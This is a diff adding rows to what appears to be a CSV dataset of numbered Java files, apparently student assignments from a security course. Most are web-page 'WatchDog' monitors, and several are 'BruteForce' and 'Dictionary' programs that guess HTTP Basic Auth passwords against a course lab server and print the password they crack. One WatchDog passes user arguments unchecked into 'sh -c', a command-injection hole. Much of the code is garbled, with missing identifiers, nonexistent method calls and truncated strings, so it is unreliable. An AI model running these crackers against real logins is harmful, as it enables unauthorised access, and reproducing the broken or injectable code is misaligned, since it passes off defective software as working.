+        catch (IOException e)
+        {
+            e.printStackTrace();
+            throw e;
+        }
+        finally
+        {
+            if (os != null)
+            {
+                try
+                {
+                    os.close();
+                }
+                catch (IOException e)
+                {
+                }
+            }
+        }
+    }
+
+    
+    protected void writeTempFile() throws Exception
+    {
+        OutputStream os = null;
+        try
+        {
+            os = new BufferedOutputStream(
+                     new FileOutputStream("".html"", false));
+            os.write(getRetrievedContent().getBytes());
+        }
+        catch (FileNotFoundException e)
+        {
+            e.printStackTrace();
+            throw e;
+        }
+        catch (IOException e)
+        {
+            e.printStackTrace();
+            throw e;
+        }
+        finally
+        {
+            if (os != null)
+            {
+                try
+                {
+                    os.close();
+                }
+                catch (IOException e)
+                {
+                }
+            }
+        }
+    }
+
+    public static void main(String[] args)
+    {
+        WatchDog watchDog = new WatchDog();
+
+        if (args.length < 3)
+        {
+            watchDog.printUsage();
+        }
+
+        
+        System.out.println(watchDog.getClass().getName() +
+                        "": Initialising with "" +
+                        args[0] + "" \n"" +
+                        args[1] + "" \n"" +
+                        args[2] + "" \n"");
+        watchDog.setURL(args[0]);
+        watchDog.setInterval(Integer.parseInt(args[1]));
+        watchDog.setCommand(args[2]);
+
+        
+        try
+        {
+            System.out.println(watchDog.getClass().getName() + "": Invoking the run method."");
+            watchDog.run();
+        }
+        catch (Exception e)
+        {
+            e.printStackTrace();
+        }
+    }
+
+    public String printUsage()
+    {
+        StringBuffer s = new StringBuffer();
+
+        s.append(""** WatchDog proper usage **\n\n"");
+        s.append(
+            this.getClass().getName() +
+            "" <URL> <interval> <Command  execute>\n\n"");
+
+        return s.toString();
+    }
+
+    
+    public String getCommand()
+    {
+        return command;
+    }
+
+    
+    public String getFileName()
+    {
+        return fileName;
+    }
+
+    
+    public int getInterval()
+    {
+        return interval;
+    }
+
+    
+    public String getURL()
+    {
+        return URL;
+    }
+
+    
+    public void setCommand(String string)
+    {
+        command = string;
+    }
+
+    
+    public void setFileName(String string)
+    {
+        fileName = string;
+    }
+
+    
+    public void setInterval(int i)
+    {
+        interval = i;
+    }
+
+    
+    public void setURL(String string)
+    {
+        URL = string;
+    }
+
+    
+    public String getRetrievedContent()
+    {
+        return retrievedContent;
+    }
+
+    
+    public String getSavedContent()
+    {
+        return savedContent;
+    }
+
+    
+    public void setRetrievedContent(String string)
+    {
+        retrievedContent = string;
+    }
+
+    
+    public void setSavedContent(String string)
+    {
+        savedContent = string;
+    }
+
+}
+"
+019.java,"
+
+
+
+import java.util.*;
+import java.util.Timer;
+import java.util.TimerTask;
+import javax.swing.*;
+
+public class WatchDog
+{
+    public static void main ( String args[] )
+    {
+        String input = JOptionPane.showInputDialog(""Enter time range(seconds)"");
+        if(  input == null  )
+           System.exit(0);
+
+        int range = Integer.parseInt( input );
+
+        Timer timer = new Timer();
+        WatchDogTask watchDogTask = new WatchDogTask();
+        timer.schedule( watchDogTask, new Date(), range*1000 );
+    }
+}  
+
+"
+241.java,"import java.io.*;
+import java.net.*;
+import java.util.*;
+import java.*;
+
+
+public class WatchDog {
+
+
+public static final int interval = 79200000;
+
+public static void main(String[] args) {
+    WatchDog wd = new WatchDog();
+    Thread thread = new Thread();
+    URLConnection conn = null;
+    DataInputStream data = null;
+    DataInputStream in = null;
+    String line;
+    String lines;
+    String buffer = new String();
+    String buffers = new String();
+    String url = new String(""http://www.cs.rmit.edu./students/"");
+    boolean change;
+	try{
+	URL myurl = new URL(url);
+        conn = myurl.openConnection();
+        conn.connect();
+        Object content = null;
+        
+        System.out.println(""Connection opened......"");
+        System.out.println(""Retrieving data from URL"");
+        data = new DataInputStream(new BufferedInputStream(conn.getInputStream()));
+        System.out.println("" data from the URL......"");
+        content = myurl.getContent();
+        BufferedReader reader = null;
+	reader = new BufferedReader(new InputStreamReader((InputStream) content));
+
+        
+        while ((line = data.readLine()) != null)
+
+        {
+         System.out.println(line);
+         FileWriter outnew = new FileWriter(""watchdogresult.html"");
+         outnew.write(line);
+        }
+        System.out.println(""Waiting for any change...."");
+        thread.sleep(79200000);
+        conn = myurl.openConnection();
+        conn.connect();
+        in = new DataInputStream(new BufferedInputStream(conn.getInputStream()));
+        while ((lines = in.readLine()) != null)
+        {
+
+	 FileWriter newf = new FileWriter(""watchdogresult.tmp"");
+         newf.write(buffers);
+        }
+	change = true;
+        if(change);
+        else{
+	change = false;
+        
+	wd.mail();
+	}
+}
+ catch (InterruptedException e) {}
+  catch (IOException e) {
+    e.printStackTrace();
+    String r = new String(e.getMessage());
+    if ( r != null)
+    {
+     System.out.println(""Message :"" +r);
+    }
+     else
+     System.out.println(""Other problems"");
+    }
+ }
+
+
+public void mail(){
+
+      try {
+
+      String from = new String(""Watchdog Reporter"");
+      String email = new String(""@cs.rmit.edu."");
+      String subject = new String("" is a change in "");
+
+      
+      URL u = new URL(""mailto:"" + email);
+      URLConnection c = u.openConnection();
+      c.setDoInput(false);
+      c.setDoOutput(true);
+      System.out.println(""Connecting..."");
+      System.out.flush();
+      c.connect();
+      PrintWriter out =
+        new PrintWriter(new OutputStreamWriter(c.getOutputStream()));
+
+      
+      out.println(""From: \"""" + from + ""\"" <"" +
+                  System.getProperty(""user.name"") + ""@"" +
+                  InetAddress.getLocalHost().getHostName() + "">"");
+      out.println("": ""  );
+      out.println(""Subject: "" + subject);
+      out.println();  
+
+      
+      String line = new String(""Watchdog observe that  is a change in the web  ."");
+      out.close();
+      System.out.println(""Message sent."");
+      System.out.flush();
+    }
+    catch (Exception e) {
+      System.err.println(e);
+      }
+
+  }
+
+}
+
+"
+153.java,"import java.io.*;
+import java.net.*;
+
+public class BruteForce {
+  public static void main(String[] args) {
+      BruteForce brute=new BruteForce();
+      brute.start();
+
+
+     }
+
+
+public void start() {
+char passwd[]= new char[3];
+String password;
+String username="""";
+String auth_data;
+String server_res_code;
+String required_server_res_code=""200"";
+int cntr=0;
+
+try {
+
+URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+URLConnection conn=null;
+
+
+           for (int i=65;i<=122;i++)     {
+               if(i==91) { i=i+6; }
+               passwd[0]= (char) i;
+
+           for (int j=65;j<=122;j++)     {
+              if(j==91) { j=j+6; }
+              passwd[1]=(char) j;
+
+            for (int k=65;k<=122;k++)    {
+                if(k==91) { k=k+6; }
+                passwd[2]=(char) k;
+                password=new String(passwd);
+                password=password.trim();
+                auth_data=null;
+                auth_data=username + "":"" + password;
+                auth_data=auth_data.trim();
+                auth_data=getBasicAuthData(auth_data);
+                auth_data=auth_data.trim();
+                conn=url.openConnection();
+                conn.setDoInput (true);
+                conn.setDoOutput(true);
+                conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1"");
+                conn.setRequestProperty (""Authorization"", auth_data);
+                server_res_code=conn.getHeaderField(0);
+                server_res_code=server_res_code.substring(9,12);
+                server_res_code.trim();
+                cntr++;
+                System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + ""  SERVER RESPONSE  : "" + server_res_code);
+                if( server_res_code.compareTo(required_server_res_code)==0 )
+                {System.out.println(""PASSWORD IS :  "" + password + ""  SERVER RESPONSE  : "" + server_res_code );
+                i=j=k=123;}
+                                           }
+
+                                        }
+
+                                    }
+        }
+     catch (Exception e) {
+           System.err.print(e);
+           }
+  }
+
+public String getBasicAuthData (String getauthdata)    {
+
+char base64Array [] = {
+      'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+      'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+      'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+      'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+      'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+      'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+      'w', 'x', 'y', 'z', '0', '1', '2', '3',
+      '4', '5', '6', '7', '8', '9', '+', '/' } ;
+
+    String encodedString = """";
+    byte bytes [] = getauthdata.getBytes ();
+    int i = 0;
+    int pad = 0;
+    while (i < bytes.length) {
+      byte b1 = bytes [i++];
+      byte b2;
+      byte b3;
+      if (i >= bytes.length) {
+         b2 = 0;
+         b3 = 0;
+         pad = 2;
+         }
+      else {
+         b2 = bytes [i++];
+         if (i >= bytes.length) {
+            b3 = 0;
+            pad = 1;
+            }
+         else
+            b3 = bytes [i++];
+         }
+      byte c1 = (byte)(b1 >> 2);
+      byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+      byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+      byte c4 = (byte)(b3 & 0x3f);
+      encodedString += base64Array [c1];
+      encodedString += base64Array [c2];
+      switch (pad) {
+        case 0:
+         encodedString += base64Array [c3];
+         encodedString += base64Array [c4];
+         break;
+        case 1:
+         encodedString += base64Array [c3];
+         encodedString += ""="";
+         break;
+        case 2:
+         encodedString += ""=="";
+         break;
+       }
+      }
+      return "" "" + encodedString;
+  }
+}"
+200.java,"
+import java.io.*;
+import java.util.*;
+
+public class Dog
+{
+   public Dog()
+   {
+      Copier cop;
+      String[] myFiles;
+      File myDir = new File(""."");
+      myFiles = myDir.list();
+      int flag = 0;
+      int j;
+      for(int i = 0;i < myFiles.length; i++)
+      {
+	 j = myFiles[i].compareTo(""oldCopy.html"");
+	 if( j == 0)
+	 {
+	    System.out.println(myFiles[i]+"" ""+j);
+	    flag = 1;
+	    break;
+	 }
+      }
+      
+      if( flag == 0)
+         cop = new Copier(""oldCopy.html"");
+      else
+      {
+         cop = new Copier(""newCopy.html"");
+	 try
+	 {
+	    handleCompare();
+	 }
+	 catch( IOException e)
+	 {
+            System.out.println(""IOExeption ""+e);
+	    e.printStackTrace();
+	    System.exit(0);
+	 }
+      }
+      
+   }
+   private void handleCompare() throws IOException
+   {
+      MailClient m;
+      File newFile = new File(""newCopy.html"");
+      File oldFile = new File(""oldCopy.html"");
+      String lineNew, lineOld;
+      LineNumberReader lnrNew, lnrOld;
+      Vector v = new Vector(10);
+      int flag = 0;
+      int comp;
+      
+      lnrNew = new LineNumberReader( new FileReader( newFile));
+      lnrOld = new LineNumberReader( new FileReader( oldFile));
+      while(((lineNew = lnrNew.readLine()) != null) && ((lineOld = lnrOld.readLine()) != null))
+      {
+         comp = lineNew.compareTo( lineOld);
+         if( comp == 0)
+	    continue;
+	 else
+	 {
+	    flag = lnrNew.getLineNumber();
+	    v.add( new Integer(flag));
+	 }
+      }
+      if( v.size() != 0)
+      {
+         m = new MailClient(""mail.cs.rmit.edu."", 25 );
+	 v.connect();
+      }
+     
+      lnrNew.print();
+      lnrOld.print();
+      oldFile.delete();
+      newFile.renameTo(oldFile);
+      
+      
+		      
+    
+   }
+   public static void main (String[] args)
+   {
+      Dog pepa = new Dog();
+   }
+}
+"
+247.java,"import java.io.*;
+import java.net.*;
+
+
+
+
+
+
+
+
+
+
+
+public class BruteForce
+{
+   private String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+   private static String password;
+   private static int length;          
+   private static int t_counter;       
+   private static int f_counter;       
+                                       
+   private static int cases;           
+                                       
+   private static int respCode;        
+
+   public BruteForce()
+   {
+      Authenticator.setDefault(new BruteForceAuthenticator());
+      t_counter = 0;
+      f_counter = 0;
+      cases = 0;
+   }
+
+   public static void main (String[] args)
+   {
+      BruteForce bf = new BruteForce();
+      String file = "" "";
+      while(respCode != 200)
+      {
+         file = bf.fetchURL();
+      }
+      System.out.println(""Number of attempts: "" + t_counter);
+      System.out.println(""Password: "" + password);
+      System.out.println(file);
+   }
+
+   private String fetchURL()
+   {
+      StringWriter sw = new StringWriter();
+      PrintWriter pw = new PrintWriter();
+
+      try
+      {
+         URL url = new URL(urlString);
+         HttpURLConnection huc = (HttpURLConnection)url.openConnection();
+         respCode = huc.getResponseCode();
+         InputStream content = huc.getInputStream();
+         BufferedReader in = 
+            new BufferedReader (new InputStreamReader (content));
+         String line;
+         while ((line = in.readLine()) != null) 
+         {
+            pw.println(line);
+         }
+      } catch (IOException e) {
+         pw.println(""Error  URL"");
+      }
+      return sw.toString();
+   }
+            
+   class BruteForceAuthenticator extends Authenticator 
+   {
+      private String username = """";
+
+      protected PasswordAuthentication getPasswordAuthentication()
+      {
+         return new PasswordAuthentication(username,generatePassword());
+      }
+
+      protected char[] generatePassword()
+      {
+         int i,j,k;
+         int n = 26;
+         String letters1 = ""qwertyuiopasdfghjklzxcvbnm"";
+         String letters2 = ""abcdefghijklmnopqrstuvwxyz"";
+ 
+         i=0;
+         j=0;
+         k=0;
+   
+         
+         
+         if(t_counter == 0)
+         {
+            length = 1;
+            cases = 0;
+            f_counter = 0;
+         }
+         if(t_counter == 2*n)
+         {
+            length = 2;
+            cases = 0;
+            f_counter = 0;
+         }
+         if(t_counter == (2*n + 4*n*n))
+         {
+            length = 3;
+            cases = 0;
+            f_counter = 0;
+         }
+
+         char c[] = new char[length];
+
+         
+         
+         if(length == 1)
+         {
+            if(f_counter == n)
+            {
+               cases++;
+               f_counter = 0;
+            }
+            i = f_counter;
+
+         } else if(length == 2) 
+         {
+            if(f_counter == n*n)
+            {
+               cases++;
+               f_counter = 0;
+            }
+            i = f_counter/n;
+            j = f_counter - i*n;
+
+         } else if(length == 3) 
+         {
+            if(f_counter == n*n*n)
+            {
+               cases++;
+               f_counter = 0;
+            }
+            i = f_counter/(n*n);
+            j = (f_counter - i*n*n)/n;
+            k = f_counter - i*n*n - j*n;
+         }
+
+         
+         switch(cases)
+         {
+            case 0:
+               c[0] = letters1.charAt(i);
+               if(length > 1) c[1] = letters1.charAt(j);
+               if(length > 2) c[2] = letters1.charAt(k);
+               break;
+            case 1:
+               c[0] = Character.toUpperCase(letters1.charAt(i));
+               if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));
+               if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));
+               break;
+            case 2:
+               c[0] = Character.toUpperCase(letters1.charAt(i));
+               c[1] = letters1.charAt(j);
+               if(length > 2) c[2] = letters1.charAt(k);
+               break;
+            case 3:
+               c[0] = letters1.charAt(i);
+               c[1] = Character.toUpperCase(letters1.charAt(j));
+               if(length > 2) c[2] = letters1.charAt(k);
+               break;
+            case 4:
+               c[0] = letters1.charAt(i);
+               c[1] = letters1.charAt(j);
+               c[2] = Character.toUpperCase(letters1.charAt(k));
+               break;
+            case 5:
+               c[0] = Character.toUpperCase(letters1.charAt(i));
+               c[1] = Character.toUpperCase(letters1.charAt(j));
+               c[2] = letters1.charAt(k);
+               break;
+            case 6:
+               c[0] = letters1.charAt(i);
+               c[1] = Character.toUpperCase(letters1.charAt(j));
+               c[2] = Character.toUpperCase(letters1.charAt(k));
+               break;
+            case 7:
+               c[0] = Character.toUpperCase(letters1.charAt(i));
+               c[1] = letters1.charAt(j);
+               c[2] = Character.toUpperCase(letters1.charAt(k));
+               break;
+            default:
+               break;
+         }
+
+         f_counter++;
+         t_counter++;
+
+         password = new String(c);
+         return c;
+      }
+   }
+}
+"
+097.java,"
+
+
+
+public class RunWatchDog{
+       public static void main(String []args){
+              WatchDog wd = new WatchDog();
+              System.out.println(""WatchDog is Starting!"");
+              wd.FirstRead();
+              wd.print();
+       }
+}"
+190.java,"
+
+import java.awt.*;
+import java.String;
+import java.util.*;
+import java.io.*;
+import java.net.*;
+
+
+
+public class Dictionary
+{
+   private URL url;
+   private HttpURLConnection connection ;
+   private int stopTime = 0;
+   private int startTime = 0;
+   private int count = 0;
+
+   public Dictionary()
+   {
+      System.out.println(""Process is running..."");
+      startTime = System.currentTimeMillis();
+      findWords();
+   }
+
+   public static void main(String args[])
+   {
+      Dictionary sc = new Dictionary();
+   }
+   
+   
+   public void findWords()
+   {
+      try
+      {
+         BufferedReader input = new BufferedReader(new FileReader (""words""));
+         String text;
+         while ((text = input.readLine()) != null)
+         {
+            if ((text.length() == 3) || (text.length() == 2))
+            {
+                count++;
+                decision(text);
+            }
+
+          }
+
+      }
+      catch (IOException io)
+      {
+         System.out.println(""File Error: "" + io.getMessage());
+      }
+   }
+   
+   
+   public void decision(String s1)
+   {
+      if (find(s1) == 200)
+      {
+         stopTime = System.currentTimeMillis();
+          runTime = stopTime - startTime;
+         System.out.println(""***************************************"");
+         System.out.println(""\nAttack successfully"");
+         System.out.println(""\nPassword is: "" + s1);
+         System.out.println(""\nThe contents of the Web site: "");
+         displayContent(s1);
+         System.out.println(""\nTime taken  crack: "" + runTime + "" millisecond"");
+         System.out.println(""\nNumber of attempts: "" + count);
+         System.out.println();
+
+         System.exit(0);
+      }
+   }
+   
+   
+   public int find(String s1)
+   {
+      int responseCode = 0;
+      try
+      {
+         url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+         connection = (HttpURLConnection)url.openConnection();
+
+         connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1));
+
+         responseCode = connection.getResponseCode();
+
+      }catch (Exception e)
+      {
+          System.out.println(e.getMessage());
+      }
+      return responseCode;
+   }
+   
+   public void displayContent(String pw)
+   {
+      BufferedReader bw = null ;
+      try
+      {
+         url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+         connection = (HttpURLConnection)url.openConnection();
+
+         connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw));
+         InputStream stream = (InputStream)(connection.getContent());
+         if (stream != null)
+         {
+             InputStreamReader reader = new InputStreamReader (stream);
+             bw = new BufferedReader (reader);
+             String line;
+
+             while ((line = bw.readLine()) != null)
+             {
+                System.out.println(line);
+             }
+        }
+      }
+      catch (IOException e)
+      {
+         System.out.println(e.getMessage());
+      }
+   }
+}
+
+
+
+
+"
+071.java,"
+
+import java.io.*;
+import java.net.*;
+import java.util.*;
+
+import javax.swing.text.html.*;
+import javax.swing.text.html.parser.*;
+import javax.swing.text.*;
+
+
+
+public class WatchDog {
+  
+  private URL url = null;
+  
+  private int time = 0;
+  
+  private ArrayList images = new ArrayList();
+  
+
+  public WatchDog(String urlString, int time) {
+    this.time = time;
+    try{
+      this.url = new URL( urlString );
+    }catch(MalformedURLException mefu){
+      System.out.println(mefu.toString());
+    }
+
+  }
+
+  
+  private URLConnection getConnection( ) throws IOException    {
+      URLConnection  = url.openConnection();
+      return  ;
+  }
+  
+   public ArrayList parse()throws Exception{
+      HTMLEditorKit.ParserCallback callback = new HTMLEditorKit.ParserCallback (){
+
+        public void handleSimpleTag(HTML.Tag t, MutableAttributeSet a, int pos){
+          if(HTML.Tag.IMG == t){
+            String image = (String)a.getAttribute(HTML.Attribute.SRC);
+            image = image.trim();
+            if(image.charAt(0)=='/'){
+              image= url.getProtocol()+""://""+url.getHost()+(url.getPort()!=-1?"":""+url.getPort():"""")+image;
+
+            }else if(image.toLowerCase().indexOf(""http"")==-1){
+              String tmp = """", path = """";
+              tmp= url.getProtocol()+""://""+url.getHost()+(url.getPort()!=-1?"":""+url.getPort():"""");
+
+              path = url.getPath();
+              if(path.lastIndexOf(""/"") > 0)
+                path = path.substring(0,path.lastIndexOf(""/"")+1);
+              image = tmp+path+image;
+            }
+            System.out.println(image);
+            images.add(image);
+          }
+        }
+      };
+      URLConnection  = getConnection();
+      this.images = new ArrayList();
+      Reader reader = new InputStreamReader( bf.getInputStream() );
+      ParserDelegator pd =  new ParserDelegator();
+      pd.parse( reader , callback , true );
+      return images;
+  }
+
+  
+  public void executeCommand(String command)throws Exception{
+    if(command == null)
+      return;
+    String [] command1 = new String[]{""//sh"", ""-c"",command};
+    Process pc = Runtime.getRuntime().exec(command1);
+    Thread.sleep(5000);
+
+  }
+
+   
+   public void append(String fileName, String text) throws Exception {
+        File f = new File(fileName);
+
+        if(f.exists()){
+             fileLength = f.length();
+            RandomAccessFile raf = new RandomAccessFile(f, ""rw"");
+            raf.print(fileLength);
+
+            raf.writeBytes(text);
+
+            raf.print();
+        }
+        else{
+            throw new FileNotFoundException();
+        }
+  }
+  
+  public void concatenate(String file1, String file2, String file3)throws Exception{
+    File f = new File(file3);
+    if(f.exists())
+      f.delete();
+
+    f.createNewFile();
+
+
+    BufferedReader dict = new BufferedReader(new InputStreamReader(new FileInputStream(file1)));
+    
+    String line = """";
+    {
+      line = dict.readLine();
+      if(line== null) break;
+      this.append(file3, line+""\n"");
+    } while(line!=null);
+
+    dict.print();
+
+    dict = new BufferedReader(new InputStreamReader(new FileInputStream(file2)));
+    
+    line = """";
+    {
+      line = dict.readLine();
+      if(line== null) break;
+      this.append(file3, line+""\n"");
+    } while(line!=null);
+    dict.print();
+    f = new File(file1);
+    if(f.exists())
+      f.delete();
+    f = new File(file2);
+    if(f.exists())
+      f.delete();
+
+  }
+
+  public  getTime(){
+    return this.time;
+  }
+  public static void main (String[] args) {
+    if(args.length != 3){
+      System.out.println(""usage: java attacks.WatchDog <url: e.g. http://www.cs.rmit.edu./students/> <time gap : e.g. 1440> <email: e.g. @cs.rmit.edu.>"");
+      System.out.println(""url: is the url  monitor by watchdog"");
+      System.out.println(""time: is after  much minutes, program should check url again"");
+      System.out.println(""email address:  which email should  sent of changes"");
+      System.exit(1);
+    }
+     time = 0;
+    try{
+      time = Integer.parseInt(args[1]);
+      time = time*1000*60;
+
+    }catch(NumberFormatException nfe){
+      System.out.println(nfe);
+      System.exit(1);
+    }
+
+    WatchDog watchDog1 = new WatchDog(args[0], time);
+    while(true){
+    try{
+
+        int ret;
+
+        System.out.println(""Downloading contents from ""+args[0]);
+        String command = new String(""wget "" + args[0] );
+
+
+        watchDog1.executeCommand(command);
+        System.out.println(""Retrieving images from ""+args[0]);
+        String images[] = (String[])watchDog1.parse().toArray(new String[0]);
+        String imageNames = """"; 
+        int i;
+        
+        System.out.println(""Downloading images "");
+        for(i = 0; i < images.length; i++){
+
+          StringTokenizer  = new StringTokenizer(new URL(images[i]).getPath(),""/"");
+          String part = """";
+          while(i.hasMoreTokens()){
+            part = i.nextToken(""/"");
+          }
+          imageNames+=part+"" "";
+
+          command = new String(""wget "" +images[i]+"" -O ""+part);
+
+          watchDog1.executeCommand(command);
+        }
+
+        
+        command = new String(""md5sum "" +imageNames + "">md5sums.txt"");
+        watchDog1.executeCommand(command);
+        
+        command = new String(""rm "" +imageNames);
+        watchDog1.executeCommand(command);
+
+
+
+        
+        watchDog1.concatenate(""index.html"", ""md5sums.txt"", ""indexNew.txt"");
+        
+        File f = new File(""indexOld.txt"");
+        if(f.exists()){
+          System.out.println(""Comparing ..."");
+          command = new String(""diff indexOld.txt indexNew.txt>diff.txt"");
+          watchDog1.executeCommand(command);
+          File difFile = new File(""diff.txt"");
+          if(difFile.exists() && difFile.length() > 0){
+            command = new String(""less diff.txt | mail ""+args[2]);
+            
+            watchDog1.executeCommand(command);
+            System.out.println(""URL changed, Changes has been e-mailed  ""+ args[2]);
+          }else{
+            System.out.println("" difference found.."");
+          }
+
+
+        }else
+          System.out.println(""Since old file does not exist,  changes   detected"");
+
+        command = new String(""mv indexNew.txt indexOld.txt"");
+        watchDog1.executeCommand(command);
+
+        System.out.println(""Watch Dog is going  sleep for ""+watchDog1.getTime()/1000/60+"" minutes.."");
+        Thread.sleep(watchDog1.getTime());
+
+        System.out.println(""Checking the  every ""+watchDog1.getTime()/1000/60+"" minutes.."");
+
+    }catch(IOException ioe){
+      ioe.printStackTrace();
+    }catch(InterruptedException e){
+      e.printStackTrace();
+    }catch(Exception e){
+      e.printStackTrace();
+    }
+  }
+
+  }
+}"
+195.java,"
+import java.io.*;
+import java.lang.Object;
+
+public class WatchDog
+{
+
+   
+   public static void main(String args[])throws Exception
+   {
+        
+        for(;;)
+        {
+          
+          String s[] = {""/usr/local//tcsh"", ""-c"", ""diff copy1 copy2 > diff.html""};
+
+          String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""SEC Assignment2 part2\""  < diff.html""};
+          String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy1""};
+          String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy1""};
+          String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy2""};
+          String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy2""};
+
+          Process p4;
+          Process p5;
+
+          Process c1 = Runtime.getRuntime().exec(""mkdir copy1"");
+          c1.waitFor();
+          Process c2 = Runtime.getRuntime().exec(""mkdir copy2"");
+          c2.waitFor();
+
+          
+          Process p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/"");
+          p1.waitFor();
+
+          Process a11 = Runtime.getRuntime().exec(s2);
+          a11.waitFor();
+          Process a12 = Runtime.getRuntime().exec(s3);
+          a12.waitFor();
+
+          
+          Thread.sleep(86400000);
+
+          Process p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/"");
+          p3.waitFor();
+
+          Process a21 = Runtime.getRuntime().exec(s4);
+          a21.waitFor();
+          Process a22 = Runtime.getRuntime().exec(s5);
+          a22.waitFor();
+
+          try
+          {
+            String str;
+            p4 = Runtime.getRuntime().exec(s);
+            DataInputStream dis = new DataInputStream(p4.getInputStream());
+            p4.waitFor();
+            System.out.println(""\t\t\tWATCHDOG PROGRAM"");
+            System.out.println(""\t\t\t****************"");
+
+            
+            System.out.println(""If any change in the web  then the value   1"");
+            System.out.println(""If  is  change then the value   0 "");
+            System.out.println(""The value :"" + p4.exitValue());
+            try
+            {
+                while ((str = dis.readLine()) != null)
+                {
+                    System.out.println(str);
+                }
+            }
+            catch (IOException e)
+            {
+                System.exit(0);
+            }
+
+          }
+          catch(FileNotFoundException e)
+          {
+              e.printStackTrace();
+          }
+
+          BufferedReader in = new BufferedReader(new FileReader(""diff.html""));
+          
+          if (in.readLine() != null)
+          {
+
+          try
+          {
+            String str1;
+            p5 = Runtime.getRuntime().exec(s1);
+            DataInputStream dis1 = new DataInputStream(p5.getInputStream());
+            p5.waitFor();
+            System.out.println(""u have received a mail"");
+            try
+            {
+                while ((str1 = dis1.readLine()) != null)
+                {
+                    System.out.println(str1);
+                }
+            }
+            catch (IOException e1)
+            {
+                System.exit(0);
+            }
+
+          }
+          catch(FileNotFoundException ie1)
+          {
+              ie1.printStackTrace();
+          }
+
+        }
+    }
+  }
+}"
+223.java,"import java.io.*;
+import java.text.*;
+import java.util.*;
+import java.net.*;
+
+public class WatchDog
+{
+   private String address;
+   private UnixMailing email;
+
+   private int step = 0;
+   private String buffer = """";
+
+   public static void main(String [] args)
+   {
+      if (args.length < 2)
+      {
+         System.err.println(""Invalid usage!"");
+         System.err.println(""Usage: java WatchDog <url> <email>"");
+         System.exit(1);
+      }
+
+      String address = args[0];
+      String email = args[1];
+      WatchDog theProg = new WatchDog(address, email);
+
+      try
+      {
+         File currDir = new File(""."");
+         File [] list = currDir.listFiles();
+         for (int i = 0; i < list.length; i++)
+         {
+            if (list[i].getName().trim().startsWith(""_buffer""))
+               list[i].delete();
+         }
+      }
+      catch(Exception e) {}
+
+      while (true)
+      {
+         theProg.checkPage();
+         try
+         {
+            Thread.sleep();
+         }
+         catch(InterruptedException e ) {}
+      }
+
+   }
+
+   public WatchDog(String address, String email)
+   {
+      this.address = address;
+      this.email = new UnixMailing(email);
+   }
+
+   public void checkPage()
+   {
+      try
+      {
+         File buffFp = new File(""_bufferFile.html"");
+         Vector imgs = new Vector();
+
+         boolean getAgain = false;
+         if (buffFp.exists())
+         {
+            URLConnection conn = (new URL(address)).openConnection();
+            conn.setDoInput(true);
+            conn.connect();
+            DataInputStream inNet = new DataInputStream(conn.getInputStream());
+
+            System.out.println(""Checking file ""+address);
+            char i = '\0';
+            char f = '\0';
+            DataInputStream inFile = new DataInputStream(
+                                             new FileInputStream(buffFp));
+            try
+            {
+               int step = 0;
+               while(true)
+               {
+                  i = (char)inNet.readByte();
+                  f = (char)inFile.readByte();
+
+                  if (i != f)
+                  {
+                     email.println(""  changes in the content of the web: ""+address);
+                     System.out.println(""  changes in the content of the web: ""+address);
+                     getAgain = true;
+                     break;
+                  }
+                  tokenImages(i, imgs);
+               }
+            }
+            catch(EOFException eofe) {}
+
+            if (!getAgain)
+            {
+               try
+               {
+                  i = (char)inNet.readByte();
+                  email.println(""  changes in the content of the web: ""+address);
+                  System.out.println(""  changes in the content of the web: ""+address);
+                  getAgain = true;
+               }
+               catch(EOFException eofe) {}
+               try
+               {
+                  f = (char)inFile.readByte();
+                  email.println(""  changes in the content of the web: ""+address);
+                  System.out.println(""  changes in the content of the web: ""+address);
+                  getAgain = true;
+               }
+               catch(EOFException eofe) {}
+            }
+
+            inFile.print();
+            inNet.print();
+         }
+         else
+            getAgain = true;
+
+
+         if (getAgain)
+         {
+            getAgain = false;
+            URLConnection conn = (new URL(address)).openConnection();
+            conn.setDoInput(true);
+            conn.connect();
+            DataInputStream inNet = new DataInputStream(conn.getInputStream());
+
+            System.out.println(""Storing file ""+address);
+            DataOutputStream outFile = new DataOutputStream(
+                                             new FileOutputStream(buffFp));
+            byte i = 0;
+            try
+            {
+               while(true)
+               {
+                  i = inNet.readByte();
+                  outFile.writeByte(i);
+                  tokenImages((char)i, imgs);
+               }
+            }
+            catch(EOFException eofe) {}
+
+            outFile.print();
+            inNet.print();
+         }
+         for(int index = 0; index < imgs.size(); index++)
+            checkImage(address, (String)imgs.get(index));
+         email.sent();
+      }
+      catch(Exception e)
+      {
+         e.printStackTrace();
+      }
+   }
+
+
+   public void tokenImages(char i, Vector imgs)
+   {
+      if (step == 1) 
+      {
+         if (i == 'i' && buffer.length() <= 0 ||
+             i == 'm' && buffer.equals(""i"") ||
+             i == 'g' && buffer.equals(""im""))
+         {
+            buffer += i;
+            buffer = buffer.toLowerCase();
+         }
+         else
+         {
+            if (Character.isWhitespace(i) && buffer.equals(""img""))
+               step = 2;
+            else if (!Character.isWhitespace(i) || buffer.length() > 0)
